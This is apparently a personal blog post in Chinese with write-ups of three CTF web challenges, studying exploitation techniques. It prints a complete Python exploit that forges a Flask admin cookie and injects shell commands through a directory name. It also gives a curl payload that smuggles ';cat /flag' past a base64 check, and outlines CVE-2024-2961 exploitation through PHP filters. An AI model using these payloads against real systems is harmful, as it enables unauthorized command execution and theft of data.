Featured image of post n1j web 练习

n1j web 练习

我要成为黑客大糕手✋😡

unzip

这个题flag名是随机的,一般的zip相关的文件读取就没办法用,但是这个题目中也给了很清楚的进攻路线:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
#  已知的secret key
app.secret_key = os.environ.get("FLASK_SECRET_KEY", "test_key") 

@app.route("/upload", methods=["GET", "POST"])
def upload():
      #  如果role是admin可以自定义上传的文件夹名
        role = session["role"]

        if role == "admin":
            dirname = request.form.get("dirname") or str(uuid.uuid4())

      #  文件夹名可以做到命令注入
        target_dir = os.path.join(UPLOAD_FOLDER, dirname)
        os.makedirs(target_dir, exist_ok=True)

        zip_path = os.path.join(target_dir, "upload.zip")
        file.save(zip_path)

        try:
            os.system(f"unzip -o {zip_path} -d {target_dir}")

那就是用题目已知的secret key伪装成admin,进行命令注入,脚本如下:

参考脚本:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
import requests
import io
import zipfile
import flask
from flask.sessions import SecureCookieSessionInterface

TARGET_URL = "http://127.0.0.1:5000"
SECRET_KEY = "test"                   

def generate_admin_cookie():
    """生成伪造的 Admin Session"""
    app = flask.Flask(__name__)
    app.secret_key = SECRET_KEY
    session_interface = SecureCookieSessionInterface()
    serializer = session_interface.get_signing_serializer(app)
    
    # 构造 Admin 身份
    session_payload = {"username": "hacker", "role": "admin"}
    
    # 签名 Cookie
    cookie_val = serializer.dumps(session_payload)
    return cookie_val

def create_dummy_zip():
    """在内存中创建一个合法的空 ZIP 文件"""
    b = io.BytesIO()
    with zipfile.ZipFile(b, 'w') as zf:
        zf.writestr('test.txt', 'hello')
    b.seek(0)
    return b

def exploit():
    # 1. 获取伪造的 Admin Cookie
    session_cookie = generate_admin_cookie()
    print(f"[*] 伪造 Cookie: {session_cookie[:20]}...")
    
    cookies = {"session": session_cookie}
    
    # 2. 构造 Payload
    exploit_dir_name = "hack; mkdir -p /app/uploads/hack; cat /flag* > /app/uploads/hack/flag.txt"
    
    print("[*] 正在发送 Payload...")
    
    # 3. 发送 POST 请求 (相当于上传文件)
    files = {
        'file': ('exploit.zip', create_dummy_zip(), 'application/zip')
    }
    data = {
        'dirname': exploit_dir_name
    }
    
    try:
        res = requests.post(
            f"{TARGET_URL}/upload", 
            cookies=cookies, 
            files=files, 
            data=data,
            timeout=5
        )
    except Exception as e:
        print(f"[-] 上传请求异常 (可能是命令执行导致的超时,属正常现象): {e}")

    # 4. 尝试下载 Flag
    print("[*] 正在尝试下载 Flag...")
    flag_url = f"{TARGET_URL}/download/hack/flag.txt"
    
    try:
        res = requests.get(flag_url, cookies=cookies)
        if res.status_code == 200:
            print("\n" + "="*20 + " SUCCESS " + "="*20)
            print(f"Flag 成功获取: \n{res.text.strip()}")
            print("="*49)
        else:
            print(f"[-] 获取失败,状态码: {res.status_code}")
            print(f"[-] 响应内容: {res.text[:100]}")
    except Exception as e:
        print(f"[-] 下载请求失败: {e}")

if __name__ == "__main__":
    exploit()

ping

搜索能力有待提升

这个题目写了一个非常饱和的防御,相当于告诉你别看这里了,而且饶了一大圈逻辑就是为了用个base64,检查的是py解码版的ip,执行的是shell解码的版本。第一次这么觉得ctf比赛就是为了一碟醋包的饺子,感觉从认证层面变强了一点点🤏

之后就是考验搜索能力了,因为这个性质挺隐蔽的,这次依赖ai完全不行,一下就暴露出一直以来ai的痛点了。

回到这个题,一开始想的这种东西解析差异也就只能在空格和换行的处理上,比如py解析出两行但是只读取第一行,shell可以直接执行两行的命令,感觉linux为这种文本细节的处理还是做了很多文章的,sh也有这方面的文章,(实际上这个题目和sh没什么关系) ,当时搞了半天都不行,直接google也完全没线索,ai也胡言乱语,折腾了半天最后就是去看官方文档了

gnu的文档和–help写的东西差不多,但是py文档中提到了一个严格模式,跟着他走会发现他对有效base64的定义

严格模式不包含冗余数据那默认模式就包含

1
2
3
>>> import base64
>>>  base64.b64decode('MQ==O2xzCg==')
b'1'

结果发现这个包含的意思是不打理他,然后发现gnu可以

1
2
echo 'MQ==O2xzCg==' | base64 -d
1;ls

这谁想的到呀

1
2
3
curl -X POST http://127.0.0.1:5000/ping \
               -H "Content-Type: application/json" \
               -d '{"ip_base64": "MC4wLjAuMA==O2NhdCAvZmxhZw=="}'

gavatar

ai把我养的这么好导致我经常会因为我的代码能力和搜索能力而焦虑

题目里面有很多作者的堵死getshell的小巧思,但是我给ai代码之后,他只从rce和 $image = @file_get_contents($url); 就直接给我锁定到了一个cve,感觉太强了

因为专门给了一个下载网上图片的通道,所以还是比较容易联想到 可以用php伪协议读取普通文件的,但flag有权限要求,所以要找到升级成rce的方法

然后ai就直接把CVE-2024-2961扔给我了,这个东西是PWN的

我去读了一下这个博客大概了解到说是,使用了php伪协议在转码时会调用的底层库,它里面在转换的时候没有判断剩余的很缓存够不够用,而特殊字符在转换的时候会一次带进去3个字符导致溢出,通过读取/usr/lib/x86_64-linux-gnu/libc.so.6和 /proc/self/maps里面的信息计算出怎么能刚好覆盖掉一个free的工具,让他可以执行任意命令,在这个题目里面,你可以让他把/readflag的结果重定向到随便一个地方,之后自己去读。

但实际上这个东西别人有现呈的exp项目的,让ai改一改这个代码就能美美拿flag,毕竟不是我学习的领域,我也没特别深入学习

Licensed under CC BY-NC-SA 4.0
你好,这是一个随便写写,随便看看的无聊而与我很重要的网站。
使用 Hugo 构建
主题 StackJimmy 设计